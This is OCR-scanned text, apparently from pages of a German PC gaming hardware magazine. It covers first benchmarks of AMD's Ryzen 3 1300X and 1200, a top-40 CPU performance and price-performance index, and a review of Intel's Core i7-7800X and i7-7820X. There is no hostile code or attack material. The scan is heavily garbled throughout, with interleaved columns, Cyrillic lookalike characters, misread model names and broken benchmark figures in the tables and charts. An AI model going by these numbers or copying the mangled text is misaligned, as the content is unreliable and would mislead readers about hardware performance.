AMD- und Intel-Prozessoren, Prozessorkühler, Wärmeleitpasten 


Ryzen 3: Echte Vierkerner zum Sparpreis 


AMD Ryzen 2 1209 


verbindliche Preisempfehlung zuzüglich Steuern. 


Mit den ersten beiden Ryzen-3-Mo- 
dellen komplettiert AMD vorerst die 
Ryzen-Palette. Sie bieten vier volle 
Kerne für knapp über 100 Euro. 


er Ryzen 3 stellt mit den Mo- 

dellen R3-1300X und R3-1200 
im AMD-Aufgebot die Einstiegsrie- 
ge. Wáhrend sie als Quadcores ohne 
Simultaneous Multithreading (SMT) 
technisch am ehesten Intels Core i5 
entsprechen, lehnt sich die Bezeich- 
nung an die Core-i3-Reihe an - und 
erfreulicherweise auch der Preis. 
129 respektive 109 US-Dollar zzgl. 
Steuern ruft AMD auf, im Handel 
waren die beiden CPUs zu Redakti- 
onsschluss zwar noch nicht, wohl 
aber im Testlabor, um sich ersten 
Messungen zu stellen. 


Beide Modelle basieren auf demsel- 
ben Chip wie die Schwestermodelle 


auf individueller Basis ausgleichen 
zu können. Erfahrungsgemäß stem- 


www.pcgameshardware.de/cpu 


men alle Ryzen-Prozessoren min- 
destens 3,6 GHz problemlos, oft 
sind 3,8 móglich, mit etwas Glück 
und guter Kühlung sogar 4,0 GHz. 


Doch zurück zum Werkszustand, in 
dem wir die Leistung messen und 
bewerten. Hier sehen wir in ersten 
Stichproben, dass die Anwendungs- 
leistung Ryzen-typisch über preis- 
lich vergleichbaren Intel-Modellen 
wie dem i3-6100 liegt. Auch der 
deutlich teurere 16-6500 wird vom 
R3-1300X etwa im Cinebench R15 
mit 557 zu 561 Punkten nahezu in 
Schach gehalten und beim x264- 
Video-Transcoding ergibt sich mit 
149 zu 148 Sekunden ein Quasi- 
Gleichstand. In Crysis 3 und Wit- 
cher 3 liegt der R3-1300X rund 2 
Fps vor dem hóher taktenden Core 
13-6100. Der R3-1200 hängt mit sei- 
nen 3,1 GHz leicht zurück. Im stark 


Reihe | Modell Kerne _ Taktraten Ca.-Preis R5 und R7. Ihre beiden Rechenclus- mehrkernoptimierten F1 2015 hin- 
(phys./log.) Ваш ше ОЕ ter (CCX) inklusive des L3-Caches gegen liegen beide Ryzen 3 vor der 

R7 1700 8/16 3,0 GHz/+200/+500/+50 MHz 300 EUR sind je zur Hälfte deaktiviert und InteL-CPU. 

R5 1600 6/12 3,2 GHz/+200/+400/+100 MHz 205 EUR zusätzlich hat AMD das SMT abge- 

R5 1500X 4/8 3,5 GHz/+100/+100/+200 MHz 180 EUR schaltet. Dem R3-1200 fehlt es ledig- Für einen vollständigen Test fehlte 

R5 1400 418 3,2 GHz/+0/+200/50 MHz 160 EUR lich an Takt gegenüber dem 1300X, uns in dieser Ausgabe die Zeit - 

R3 1300X 4/4 3,4 GHz/+200/+100/+200 MHz | UVP: 129 05-$* | ansonsten bietet er wie auch die wenn Sie die Ryzen-3-Modelle inte- 

R3 1200 4/4 3,1 GHz/+0/+300/+50 MHz | UVP: 109 US-$* übrigen Ryzen-CPUs einen freien геѕѕіегеп und Sie lieber etwas zu 

Bemerkungen: Vom kolportieren Ryzen 3 1100 fehlt jede Spur. R5-1400X und R3-1200 Multiplikator, um diesen Nachteil diesen CPUs als zum Ryzen 5-7 oder 

ohne Allcore-Turbo. Alle AM4-CPUs mit freiem Multiplikator. Ryzen-3-TDP: 65 Watt." Un- 


Skylake X lesen móchten, schreiben 
(cs) 


Sie mir an cs@pcgh.de! 


Ryzen 3: Rollenspiel-Leistung in The Witcher 3 


Ryzen 3: Rennspiel-Performance in F1 2015 


„Hierarch Square" (720p, kein AA/AF/min. Post-Processing/Hairworks aus) 


AMD Ryzen 5 1600 (3,2+ GHz — 6c/12t) Egg 101,6 (4-55 96) 
AMD Ryzen 5 1400 (3,2+ GHz - 4с/81) Em 82,4 (+26 96) 


Intel Core 13-6100 (3,7 GHz – 2c/4t) Een 68,0 (+4 96) 
Intel Pentium G4560 (3,5 GHz – 2c/4t) cue 65, (Basis) 


AMD Ryzen 5 1600 (3,2+ GHz — 6c/12t 
AMD Ryzen 5 1400 (3,2+ GHz — 4c/8t 


Intel Core i5-6500 (3,2+ GHz — 4c/4t) si 80,5 (+23 96) Intel Core i5-6500 (3,2+ GHz – 4c/4t) GK wisi 56,7 (+18 96) 
AMD Ryzen З 1300X (3,4+ GHz - Ac/4t) ШСЗ El 70,7 (+8 96) AMD Ryzen З 1300X (3,4+ GHz - 4c/4t) GG 57,3 (+19 96) 
AMD FX-8300 (3,3+ GHz - 4m/8t) Ee 70,5 (+8 96) AMD FX-8300 (3,3+ GHz - 4m/8t) Ep 54.0 (+12 96) 


AMD Ryzen 3 1200 (3,1+ GHz - 4c/4t 
Intel Core i3-6100 (3,7 GHz — 2c/4t 


„Stormy Spain" (720p, kein AA/AF/min. Post-Processing) 


ENDE 6,6 (+80 %) 
[HL ШЕШШ 70,5 (+46 %) 


ИШИНИН 53.5 (+11 %) 
pag eu 49,5 (+3 %) 


AMD Ryzen 3 1200 (3,1+ GHz - 4с/41) BEE ШШ 64,6 (-1 96) Intel Pentium G4560 (3,5 GHz – 2c/4t) E38 48,2 (Basis) 
AMD FX-6300 (3,5+ GHz- 3m/6t) Essi 60,5 (-7 96) AMD FX-6300 (3,5+ GHz — 3m/6t) gs 42,5 (-12 96) 
Intel Pentium G4400 (3,3 GHz – 2с/21) E331 38,1 (-42 96) Intel Pentium G4400 (3,3 GHz — 2c/2t) EISEN 27,3 (-43 96) 
System: Intel X299/X99, 2170/797/777, AMD X370/990FX,8 GiB RAM pro Speicherkanal Mier System: Intel X299/X99, 7170/797/777, AMD X370/990FX,8 GiB RAM pro Speicherkanal MS Е 
(Geschw. jew. laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz; Windows все: ps (Geschw. jew. laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz; Windows eege ps 


10 64 Bit Bemerkungen: Alle Spiele-Tests in 1.280 x 720 (16:9) mit max. Grunddetails. 10 64 Bit Bemerkungen: Alle Spiele-Tests in 1.280 x 720 (16:9) mit max. Grunddetails. 
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NEU = Core i9-7900X 


NEU es Core i7-7820X 


PCGH- 


BESSER $ | Normierte Leistung 


Index: Top 40 CPUs 


Preis-Leistungs-Verháltnis MI Gesamtindex 8 Spieleindex MI Anwendungsindex 


3,3+ GHz — 10/201 — So. 2066 
17,1% - 1.000 € 


Intel Core i7-6950X 
3,0+ GHz - 10c/20t — So. 2011-3 


11,196 — 1.470 € 


3,6+ GHz — 80/161 — So. 2066 
26,5 % – 600 € 


Intel Core i7-6900K 
3,24 GHz — 8c/16t — So. 2011-3 


16,5 % – 925 € 


[NEU vr Core i7-7740X 


4,3+ GHz — 4dlt — So. 2066 
40,2 % - 345 € 


Intel Core i7-5960X 
3,0+ GHz — 8c/16t — So. 2011-3 


12,9 % – 1.070 € 


Intel Core i7-7700K 
4,2 GHz — AcfBt — So. 1151 
40,7 % — 325 € 


| NEU E 
Intel Core i7-7800X 


3,5+ GHz - 60/121 – So. 2066 
36,4 % - 375 € 


AMD Ryzen 7 1800X 
3,6+ GHz - 80161 — So. AM4 


30,0 % - 450 € 


Intel Core i7-6800K 
3,4+ GHz — 6c/12t — So. 2011-3 


35,1% -370 € 


Intel Core i7-5930K 
3,5+ GHz — 6c/12t — So. 2011-3 


21,0% —605 € 


Intel Core i7-5775C 
3,3+ GHz - 4с/81 - So. 1150 


30,4 % -400 € 


Intel Core i7-6700K 
4,0+ GHz - AcfBt — So. 1151 


38,4 % - 320€ 


AMD Ryzen 7 1700X 
3,4+ GHz - 8c/16t — So. AM4 


36,9 % - 350 € 


Intel Core i7-5820K 
3,3+ GHz — 6c/12t — So. 2011-3 


33,4 % – 370€ 


Intel Core i7-4960X 
3,64 GHz — 6c/12t — So. 2011 
10,8 95 — 1.100 € 


AMD Ryzen 5 1600X 
3,6+ GHz — 6c/12t — So. AM4 


49,3 % - 245 € 


AMD Ryzen 7 1700 
3,0+ GHz - 8c/16t — So. AM4 


40,6 % — 300 € 


Intel Core i7-3960X 
3,34 GHz — 6c12t — So. 2011 


11,4 96 – 1.000 € 


Intel Core i7-4790K 
4,0+ GHz — AcfBt — So. 1150 


32,2 % -350€ 


s IU UyYZESr | ШП 
93 100% 3,2+ GHz — 6c/12t- So. AM4 
AN6:33 CR3:198 F15:136 SC2:37 — FCB:26.647 CB15:2.105 ALR:87 x264:49 55,6 % — 205 € AN6:30 CR3:133 F15:87 SC2:28  FCB:17.821 CB15:1.149 ALR: 118 x264: 90 
АС$:130 DAI:136 FC4:83 — TW3:133 3DM:24.094 72:105 — BLD:109 yCr: 63 M ACS:104 DAI:106 FC4:79 — TW3:102 — 3DM:15.853 72:236 — BLD:196 yCr:158 
m———————X29]98::: intel Xeon E3-1230 [Tra 
3,44 GH2= 48t — So, 1151 
AN6:37 CR3:193 F15:130 SC2:40  FCB:24.097 CB15:1.805 ALR:90 x264: 61 41,8% — 260 € AN6:31 — CR3:118 F15:75 — 5C2:39 — FCB:14518 СВ15:799 ALR:140 x264:114 
ACS:137 DAI138 РСА:90 — TW3:135 30М: 21.430 7:120 ` BLD:117 yCr[70 a ACS:109 DAI:115 FC4:112  TW3:105 — 3DM:11.618 72:221 — BLD:248 yCr:117 
————————————99i;* [nte Core 17-4770, ИНИ 5 
SC 35+ GHz- 48t - So. 1150 
AN6:32 CR3:180 F15:129 SC2:37 — FCB:26490 CB15:1.750 ALR:89 x264:57 33,0%-320є AN6:30 СЕЗ:119 F15:69 SOA FCB: 15.223 СВ15:797 АЦЕ: 142 х264:129 
ACS:132 ОАЕ 135 FC4:80 TW3:132 30М: 21.295 7z122 BLD:129 yCr: 66 ЕМЫ ACS:105 DAI:107 FC4:108 TW3:101 ЗОМ: 11.083 72:211 ВІР: 247 yCr:135 
918% Intel Core i5-7600K | ши 
93,1% 38«GHz-4g4t-So.1151 | [EREA 42,9% 
AN6:36 CR3:177 F15:124 SC2:38 FCB:24.761 CB15:1.483 ALR:93 x264: 72 47095 -215€ AN6:30 CR3:102 F15:68 — 5C2:50 — FCB:12.716 CB15:676 ALR:129 x264:126 
ACS:136 DAL136 FC4:89 — TW3:135 30М: 19.232 72:126 BLlD:143 yCr[75 Dm ACS:100 DAl:111 FC4:117 TW3:95 — 3DM:9.013 72:256 ВІР: 332 yCr:130 
Kris: ГОО ЕШ o: 
59,8% 3,1+ GHz- 4c/4t- So. 1150 | H3EED 374% 
Ae A САЗ: 153 15:98 — SC2:68 СВ:18.364 СВ15:996 ALR:114 х264:91 360% -270€ AN6:39 (83:95 15:65 56:44  FCB:11.377 CB15:567 AR: 140 x264:160 
АС: 132 ОАЕ 148 РСА: 133 ТМЗ: 140 ЗОМ: 14.733 72:198 ВІО: 199 yCr:94 SS АСЅ:99 А108 FC4:125 TW3:92 — 3DM:8339 72:279 В1р:387 yCr:176 
IN AD Ryzen 5 1500x | EEE с 
724% 3,5+ GHz - 4081 = So. AM4 57% 
AN6:29 CR3:164 F15:115 5С2:31 FCB: 23.164 CB15:1.329 ALR:108 х264: 81 55,1% — 180€ AN6:29 СЕЗ:104 F15:77 5С2:31 FCB:13.551 СВ15:818 ALR:123 х264:126 
ACS:127 DAI:130 FC4:84 — TW3:124 | 3DM:16.203 72:135 BLD:161 yCr:81 E АСЅ:94 DAF100 FC4:94 — TW3:93 — 3DM:12485 7z:283 — BLD:266 yCr:209 
IN 1 ` Wed Core 7820 ` | [m 
3.4 GHz- Act — So. 2011 
AN6:40 CR3:144 F15:89 — SC2:62 ЕСВ:17.733 CB15:974 ALR:118 x264: 94 26 % -360€ AN6:30 СЕЗ:102 F15:78 SC2:25 FCB:13903 CB15:664 ALR:147 x264:167 
ACS:131 DAI:138 FC4:131 TW3:126 — 3DM:14240 7z:204 ВІр:205 yCr:99 E ACS:105 DAI:109 FC4:92 TW3:100 30М:9892 77:227 В10:318 yCr:282 
Kú—— 27  [ntelCorei5-7500 D EHI 
85,8% 69,9% 3,4+ GHz – 4041 50.1151 39,0% 
AN6:29 CR3:165 F15:112 SC2:39 — FCB:21.732 CB15:1.303 ALR:104 x264:75 506%-—185Є AN6:29 CR3:94 F15:65 50:44 СВ:11.455 CB15:610 ALR:142 x264:139 
ACS:130 DAIF132 FC4:85 TW3:119 — 3DM:17.655 72:180 BLD:165 yCr: 91 Din АСЅ:94 — DAL103 FC4:112  TW3:89 — 3DM:8401 72:275 BLD:361 yCr:143 
GG s. ^  [ntlCoeii770k ls. 
112% 75,8% 3,5 GHz — 4081—50. 1155 
AN6:32 CR3:150 F15:93 — SC2:33  FCB:23.143 CB15:1.639 ALR:105 x264: 64 25495 -370€ AN6:29 СЕЗ:102 15:69 —5C2:27 —  FCB:13.908 CB15:679 ALR:154 x264:163 
ACS:110 DAI:114 FC4:77 TW3:110 — 3DM:19312 72182 — BLD:140 yCr: 109 Ge ACS:100 DAI:103 FC4:92 TW3:95 30М:9.926 7z:217 — BLD:316 yCr:292 
197% Intel Core 17-990Х "E ss: % 
85,9 % 627% 3,54 GHz — 6c/12t — So. 1366 
AN6:34 САЗ: 154 Р15:104 52:34 ЕСВ:19.695 CB15:1.114 ALR:111 3264:97 101% -940€ AN6:28 CR3:119 F15:64 — 5C2:17  FCB:18.987 CB15:822 ALR:157 x264:139 
ACS:130 DAI:131 FC4:93 — TW3:118 — 3DM:15.644 72:170 BLD:186 yCr: 108 Ge АСЅ:95 рА:92 FC4:72 — TW3:82 — 3DM:12349 72:23209 — BLD:243 yCr:322 
KG  |iaaecoei56600k lw: °, 
60,7% 3,5+ GHz- 4c/8t- So. 1151. (SES? 39,1% 
AN6:33 CR3:154 Р15:105 SC2:32 — FCB:19.845 CB15:1.086 ALR:116 x264:102 39,0% -230€ AN6:25 CR3:89  F15:59 SC2:40  FCB:11.479 CB15:611 ALR:139 x264: 139 
ACS:127 DAI:130 FC4:94 — TW3:119 — 3DM:13942 7z:165 — BLD:198 yCr: 107 en АСЅ:89 рА:97 FC4:106 TW3:84 30М:8.106 7z:281 BLD:360 yCr:142 
Ka 3 [mntelCorei5-7400 D e +. 
48,8% 3,0+ GHz-4g4t-So.1151 | ЕЁ 
AN6:40 CR3:129 F15:95 — 5C2:47 К(В:14590 CB15:787 ALR:133 x264:125 515%-170€ AN6:26 CR3:87  Fl5:61 50:38 FCB:10.594 CB15:552 ALR:152 x264:150 
ACS:127 DAI:139 FC4:128 TW3:131 — 3DM:12278 72:195 BLD:257 yCr:139 ыы АСЅ:91 — DAE97 FC4:107 TW3:84 — 3DM:7431 72:286 В1р:392 yCr:154 
Ti Inte Corei5-A690K | ami 5. 
87,8% 53,8 % 3,5+ GHz - 4041—50. 1150 
AN6:37 CR3:137 F15:80 52:55 FCB:16491 CB15:890 ALR:127 х264:102 338 %-255 € AN6:31 (83:90 F15:54 SC2:36  FCB:12.033 CB15:565 ALR:150 x264:163 
ACS:120 DAI:133 РСА: 124 TW3:119 — 3DM:13.028 72:205 — BLD:222 yCr:106 — АСЅ:85  DAF85 FC4:98 TW3:80 30М:7.482 77:288 — BLD:368 yCr:168 
Kw 5 AMD Ryzen 5 1400 НИ: 
744% 32-GHz-4d8t-So.AM4 | Ей 40,0% 
AN6:31 — CR3:146 F15:91 — SC2:30 ЕСВ:21.955 CB15: 1.557 ALR:111 x264: 68 5439, - 160€ AN6:26 (83:93 F15:70 SC2:23 СВ:12,155 CB15:706 ALR:148 x264:142 
ACS:106 DAI:109 FC4:75 — TW3:105 — 3DM:18246 7z:189 — BLD:149 yCr: 113 ыйы ACS:81 — DAE89 FC4:81 — TW3:82 — 3DM:10875 72:321 — BLD:303 yCr:234 
763% Intel Core 15-6500 0 E 
829% 588% 32+ GHz- 4c/4t- o 1151 | GA 36,1% 
AN6:32 CR3:149 Р15:102 SC2:32 — FCB:18.880 CB15:1.022 ALR:119 x264:104 43.2 % — 195 € AN6:25 CR3:83 15:57 52:35  FCB:10.519 СВ15:561 ALR:152 x264:148 
ACS:122 DAI:129 FC4:92 TW3:115 ЗОМ: 13.589 72:168 — BLD:203 yCr:110 n АСЅ:89 —DAE92  FC4:96 — TW3:81 — 3DM:7426 77:293  BLD:394 yCr:156 
ВЕЙ Intel Core i5-4670K | www: ; + 
57,5% 3,4+ GHz-4d4t-$o.1150 | 35,8% 
AN6:31 — CR3:137 F15:102 SC2:25 — FCB:19.953 CB15:1.000 ALR:114 x264: 112 33095 -255€ AN6:31 — CR3:89 15:53 Om  FCB:11.739 CB15:551 ALR:153 x264:166 
ACS:120 DAI:122 FC4:84 — TW3:114 — 3DM:13914 7z159 — BLD:219 yCr: 207 Em ACS:84 DAF83  FC4:96 — TW3:80 30М:7.280 77:300 В1р:382 yCr:173 
An AMD FX-9590 НИ 
EXE 4,14 GHz — 4m/8t — So. AM3+ 113% 
AN6:31 САЗ: 142 Р15:89 — 5C2:33 FCB:19.066 CB15:1.244 ALR: 111 х264:84 537%- 160€ AN6:25 CR3:96 Pap SC2:20  FCB:15.018 СВ15:727 ALR:146 x264:138 
ACS:107 DAI:113 FC4:84 — TW3:104 — 3DM:17.113 72:229 — BLD:181 yCr: 147 poem ACS81 — DAESI FC4:79 — TW3:81 — 3DM:8407 72:208 — BLD:415 yCr:256 
паж Intel Core 17:26000 ` (RR ° 
713% 3,44 GHz - Adi 50.1155 
AN6:29 — CR3:137 F15:89 Om — FCB:20.633 CB15:1.426 ALR:117 1264: 73 28,6 % -290 € AN6:27 СЕЗ:92 Pas 52:22  FCB:13.134 CB15:619 ALR:175 264: 191 
ACS:105 DAI:104 FC4:70 — TW3:102 — 3DM:16.798 72:201 BLD:161 yCr:122 eM ACS85 DAE89 FC4:83  TW3:84 30М:8.971 72:253 ` BLD:351 yCr:317 
mr 5 Intel Core 13-7350К_ | mami 7 
763% 42 GHz— 2d4t- 50.1151 
AN6:30 CR3:131 F15:95 — SC2:25 СВ:19.757 CB15:955 ALR:129 x264:124 5199, 155€ AN6:27 СЕЗ:78  F15:57 — 5C2:48  FCB:8724 CB15:462 ALR:196 x264:191 
ACS:118 DAI:118 FC4:83 — TW3:112 — 3DM:13.357 7z:163 — BLD:235 yCr:215 ee ACS:81 — DAE90 FC4:108 TW3:78 30М:7.238 72:332 — BLD:417 yCr:195 
Km ee. le Intel Core i5-3570K awwal 7 
78,4 % 510% 3,4+ GHz - 4041—50. 1155 
AN6:34 CR3:129 F15:71  SC2:44 FCB:16360 CB15:857 ALR:132 x264:122 29,9 % -265 € AN6:28 СЕЗ:80 15:50 SC2:26 FCB:10.891 СВ15:524 ALR:159 x264:199 
ACS:110 DAI:113 FC4:113 TW3:105 — 3DM:11.924 7z:197 — BLD:231 yCr:128 Enn АСЅ:82 —DAE86 РСА:97  TW3:76 30М:6.953 72285 — BLD:431 yCr:348 
Spiele (links): Anno 2205, Assassin's Creed Syndicate, Crysis 3, Dragon Age: Inquisition, F1 2015, Far Cry 4, Starcraft 2 LotV, Witcher 3: gerundete Durchschnitts-Fps in 1.280 x 720 (max. Details außer Post-Processing, Ambient Occlusion, 
AA und AF), mehr ist besser. Anwendungen (rechts): Fritz Chessbench, 3D Mark Firestrike Physics, Cinebench R15: Punkte (mehr ist besser), 7-Zip 15.21, Adobe Lightroom 5.7.1, Blender 2.76, x264, y-Cruncher: Sekunden (weniger ist 
besser) System: 8 GiByte je Speicherkanal, Turbo und Energiesparfeatures an; Windows 10 64 Bit, Grafikkarte: Geforce GTX 980 Ti @ 1.380/3.900 MHz 
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Erschwingliche 


Skylake-X-Modelle 


Der Skylake-X-Start mit 
dem hochpreisigen i9- 
Zehnkerner war durch- 
wachsen. Кбппеп die 
preislich attraktiveren 
i7-Modelle es richten? 


it Skylake X hat Intel die 

Server-Plattform Skylake SP 
für den High-End-Desktop (HEDT) 
heruntergebrochen und hofft, die 
Investition in neue Vektor-Rechen- 
werke, Caches und Inter-Core-Kom- 
munikation wird sich auszahlen. 
Unser Test des Zehnkernmodells 
Core i9-7900X in PCGH 08/2017 
zeigte gemischte Resultate. Kön- 
nen die vor allem preislich weniger 
abschreckenden Acht- und Sechs- 
kern-Modelle den gesetzten Trend 
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wenden und uns mit höherer Per- 
formance überraschen? Das klärt 
der Test des Core i7-7800X für 
rund 375 Euro und des i7-7820X 
für knapp 600 Euro. 


Achtkerner jetzt auch bei 
Intel im Sonderangebot 
Dank des Drucks, den AMD mit 
seinen Ryzen-CPUs auch preislich 
aufgebaut hat, sieht sich Intel ge- 
zwungen, erstmals eine Achtkern- 
CPU für unter 999 US-Dollar zu 
verkaufen: Der Core i7-7820X geht 
für rund 600 Euro über die virtu- 
ellen Ladentheken und ist damit 
„nur“ ein Drittel teurer als AMDs 
derzeitiges Top-Modell, der Ryzen7 
1800X. Doch so ganz wollte Intel 
seine elitáren Sperenzchen wohl 
doch nicht sein lassen: Die vollen 
44 PCI-Express-Lanes, unter ande- 
rem sinnvoll, um Multi-GPU-Syste- 
me aufzubauen oder um aufser den 
Grafikkarten noch weitere schnelle 


PCI-Express-Peripherie anzuschlie- 
ßen, gibt es beim i7-7820X mit 
nur 28x PCI-E-3.0 noch nicht. Erst 
die i9-Reihe darf auch diese letzte 
Bastion der Hardware-Elite einneh- 
men und wird - Überraschung - 
ab rund 1.000 Euro angeboten. Der 
i7-7800X ist für vergleichsweise 
zivile 375 Euro zu haben. Allfälliger 
Preisschwankungen unbenommen 
ist das der Preis, zu dem auch seine 
Vorgänger i7-6800K und i7-5820K 
den Besitzer wechselten. 


Da der Preis bei den heutigen Mo- 
dellen eine etwas größere Rolle 
spielt als bei der Luxus-Baureihe 
19, haben wir auch wieder auf un- 
sere bewährten Preis-Leistungs- 
Graphen zurückgegriffen. Oben 
rechts sehen Sie den aktuellen 
Marktpreis der CPUs in Relation 
zur Performance im PCGH-Index. 
An AMDs Achtkerner Ryzen 7 1700 
und Ryzen 7 1700X kommt Intels 


Sechskerner jedoch nicht heran 
- immerhin kann er sich hier vor 
seinen Vorgängern und natürlich 
auch vor den Acht- und Zehnker- 
nern platzieren. Die Bewertungen 
fallen etwas besser aus, da die ehe- 
malige 100-Prozent-Marke im Preis- 
Leistungsbereich zuletzt deutlich 
zugelegt hat und von AMDs Athlon 
X4 845 abgelöst wurde. 


Modelle: Mager oder Curvy 
Zugegeben: Äußerlich gleichen sich 
die Skylake-X-Prozessoren wie ein 
Ei dem anderen, nur die Kaby-Lake- 
X-Quadcores mit anderem Die zei- 
gen schon beim Heatspreader, dass 
sie anders sind. Die inneren Werte 
sind es jedoch, auf die es auch bei 
Prozessoren ankommt. Wie der i9- 
7900X basieren auch unsere heuti- 
gen Testkandidaten auf dem „LCC“, 
also der Skylake-X-Chipvariante, mit 
der niedrigsten Kernzahl von 10. 
Folglich wurden beim Achtkerner 
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. . Li .. Li Li Ch . 
CPUs bis 600 Euro: Preis-Leistungs-Verhältnis im Überblick 
600 @ Ba 600 
Ф 
ш Intel-Prozessoren ^ S 
P AMD-Prozessoren ^ 
500 - А 500 
— Trendlinie 1: CPUs bis 600 Euro be 
== Trendlinie 2: CPUs aller Preisbereiche © S 
2 
400 400 
о 
= 
= 
ш 
= 300 300 
Ё 
° 
Se 
е. 
5 
° 
= 200 200 
100 100 
0 0 
0 10 20 30 40 50 60 70 80 90 100 
Normierter PCGH-Leistungsindex (jeweils acht Spiele und Anwendungen) in Prozent 
Prozessor Gesamt-Index | Spiele-Index | Leistungs- Prozessor Gesamt-Index | Spiele-Index | Leistungs- Prozessor Gesamt-Index | Spiele-Index | Leistungs- 
Preis/Leistung Preis/Leistung index Preis/Leistung Preis/Leistung index Preis/Leistung Preis/Leistung index 
1 | AMD Athlon X4 845 100% 94,8% 28,3% 16 | AND Ryzen 5 1400 54,3% 49,5% 54,0% 34 | Intel Core i7-7800X 36,4% 30,3% 82,7% 
2 | AND FX-4300 97,9% 95,6% 31,0% 17 | AND ЕХ-9590 53,7% 47,3% 52,9% 35 | Intel Core i5-5675C 36,0% 36,9% 62,6% 
3 | Intel Pentium G4560 94,4% 100% 43,0% 18 | Intel Core i3-7350K 51,9% 53,8% 52,0% 36 | Intel Core i5-2500K 35,6% 34,7% 42,9% 
4 | AMD A8-7600 88,1% 83,6% 27,7% 19 | Intel Core i5-7400 51,5% 50,6% 55,7% 37 | Intel Core i7-6800K 35,1% 30,7% 79,7% 
5 | AND FX-6300 83,2% 78,8% 39,2% 20 | Intel Core 15-7500 50,6% 49,6% 59,5% 38 | Intel Core i5-4690K 33,8% 32,5% 54,4% 
6 | Intel Pentium G4400 74,9% 66,2% 23,1% 21 | AMD Ryzen 5 1600X 49,3% 40,9% 73,1% 39 | Intel Core i7-5820K 33,4% 29,7% 76,3% 
7 | AMD FX-8300 73,5% 66,4% 43,3% 22 | Intel Core i5-7600K 47,0% 45,4% 63,9% 40 | Intel Core i7-4770K 33,0% 30,6% 66,0% 
8 | AMD FX-6350 69,7% 64,9% 41,4% 24 | AMD A10-7870K 43,8% 41,8% 30,3% 42 | Intel Core i7-4790K 32,2% 29,7% 70,2% 
9 | AMD FX-8350 68,4% 60,6% 48,5% 25 | Intel Core i5-6500 43,2% 41,5% 53,2% 43 | Intel Core i7-5775C 30,4% 30,4% 77,8% 
10 | Intel Core 13-6100 66,9% 69,3% 45,4% 27 | Intel Core i7-7700K 40,7% 38,5% 83,1% 44 | AMD Ryzen 7 1800X 30,0% 22,7% 79,8% 
11 | AMD FX-8320E 64,9% 58,6% 42,2% 28 | AMD Ryzen 7 1700 40,6% 31,5% 72,4% 45 | Intel Core i5-3570K 29,9% 29,4% 50,4% 
12 | AMD FX-8370 60,9% 54,1% 48,9% 29 | Intel Core i7-7740X 40,2% 38,4% 87,4% 47 | Intel Core i7-2600K 28,6% 27,0% 52,1% 
13 | AMD A10-7800 59,6% 56,4% 28,1% 30 | Intel Core i5-6600K 39,0% 37,1% 56,5% 49 | Intel Core i7-7820X 26,5% 20,0% 94,0% 
14 | AMD Ryzen 5 1600 55,6% 46,6% 69,2% 31 | Intel Core i7-6700K 38,4% 36,3% 77,2% 50 | Intel Core i7-3770K 25,4% 24,2% 59,2% 
15 | AMD Ryzen 5 1500X 55,1% 50,2% 61,6% 33 | AMD Ryzen 7 1700X 36,9% 28,1% 76,4% 51 | Intel Core i7-5930K 21,0% 18,6% 78,4% 
Basis: PCGH-Leistungsindex in Relation zum (bei Redaktionsschluss) aktuellen Marktpreis; Trendlinien: durchgezogene Linie = im Diagramm abgebildete Prozessoren; gestrichelt = alle bisher getesteten Prozessoren, einige CPUs їп der 
PL-Rangliste wurden ausgelassen wie etwa der veraltete AMD A10-6800K, daher ist die Nummerierung nicht durchgángig 


zwei und beim Sechskerner vier der 
vorhandenen CPU-Kerne samt ihrer 
Anbindung und ihres zugehörigen 
Level-3-Cache-Anteils stillgelegt. Im 
High-End-Desktop geht es bei intel 
im Laufe des Jahre bis auf 18 Kerne 
hoch: Für die Mehr-als-Zehnkerner 
kommt dabei die 18-Core-Variante 
„HCC Die“ zum Einsatz („High Core 
Count“) wohl Server-exklusiv 
bleibt hingegen der Extreme Core 
Count ,XCC Die“ mit bis zu 28 Ker- 
nen. Von den grófseren Modellen ist 
inzwischen der i9-7920X (12c/24t) 
in Intels Preisliste aufgetaucht: Bei 
Abnahme von Tausender-Stückzah- 
len liegt der Preis für dieses Modell 
bei 1.189 US-Dollar plus Steuern. 


Doch zurück mit dem Fokus auf die 
Basis: Der i7-7820X betreibt seine 
acht Kerne mit einem Grundtakt 
von 3,6 GHz, kann für alle Kerne 
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auch 4 GHz fahren und ein Paar 
auch auf 4,3 GHz, bei geringer Last 


Spieleleistung in The Witcher 3 


gar auf 4,5 GHz beschleunigen. 
Diese Erweiterung des Turbos, 
genannt „Turbo Boost Max 3.0 
Technology“ zeigte schon der i9- 
7900X. Der sechskernige i7-7800X 
hingegen muss auf die hóchsten 
Weihen der Taktbeschleunigung 
verzichten: Er darf offiziell maximal 
mit 4,0 GHz takten und tat dies im 
Test auch bei Last auf allen Kernen, 
obwohl wir - wie bei allen anderen 
CPU-Modellen - die UEFLOption 
zur Turbo-Erweiterung deaktivier- 
ten. An noch einer Stelle hat Intel 
die Schere angesetzt, wiewohl die 
für die meisten Nutzer eher aka- 
demischer Natur ist: Offiziell un- 
terstützt der i7-7800X wie seine 


,Hierarch Square" (720p, kein AA/AF/min. Post-Processing/Hairworks aus) 


Intel Core i7-7740X (4,3+ GHz – 4c/8 
z- 8/16 


nte 


Intel 
nte 
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Intel 
nte 
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nte 


Core i7-6900K 
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Core i7-5960X 
Core i7-7800X 
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(324 G 


Core i9-7900X (3,3+ GH 
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el Core i7-7700K (4,2+ G 
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(3,5+ G 
(34 G 
(334 G 


AMD Ryzen 7 1800X (3,6+ G 


Intel Core i7-4790K (4,0+ G 


AMD Ryzen 5 1600X (3,6+ G 
AMD Ryzen 7 1700 (3,0+ G 


Intel Core i7-3770K (3,54- GH 
Intel Core i5-7600K (3,8+ GH 
AMD FX-9590 (4,7+ GHz — 4m/8 
Intel Core i5-3570K (3,4+ GH 


) 
) 
z — 10c/20t) 
z- 8c/16t) 
Hz — Ac/8t) 
z — 8c/16t) 
z- 6c/12t) 
z- 6c/12t) 
z- 6c/12t) 
z — 80/161) 
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) 

) 

) 


H 
2 
2 


z – 4/8 
= 6/12 
-= 8/16 
z — 4/8 
2 — Acht 


z — 4d4 


pass 140,2 (+4 %) 
END И 134,7 (Basis) 
EN! 1331 (-1 %) 
НИИ 131,7 (-2 %) 
125,5 (-7 %) 
EC 123,5 (-8 %) 
119,1 (-12 %) 
118,3 (-12 %) 
ДИО И 115,0 (-15 %) 
il 109,9 (-18 %) 
ДЕЧЈИ 104,6 (-22 %) 
ДНО 104,0 (-23 96) 
pli 101,6 (-25 96) 
pg 95, 1 (-29 96) 
ДЕИ 01,5 (30 %) 
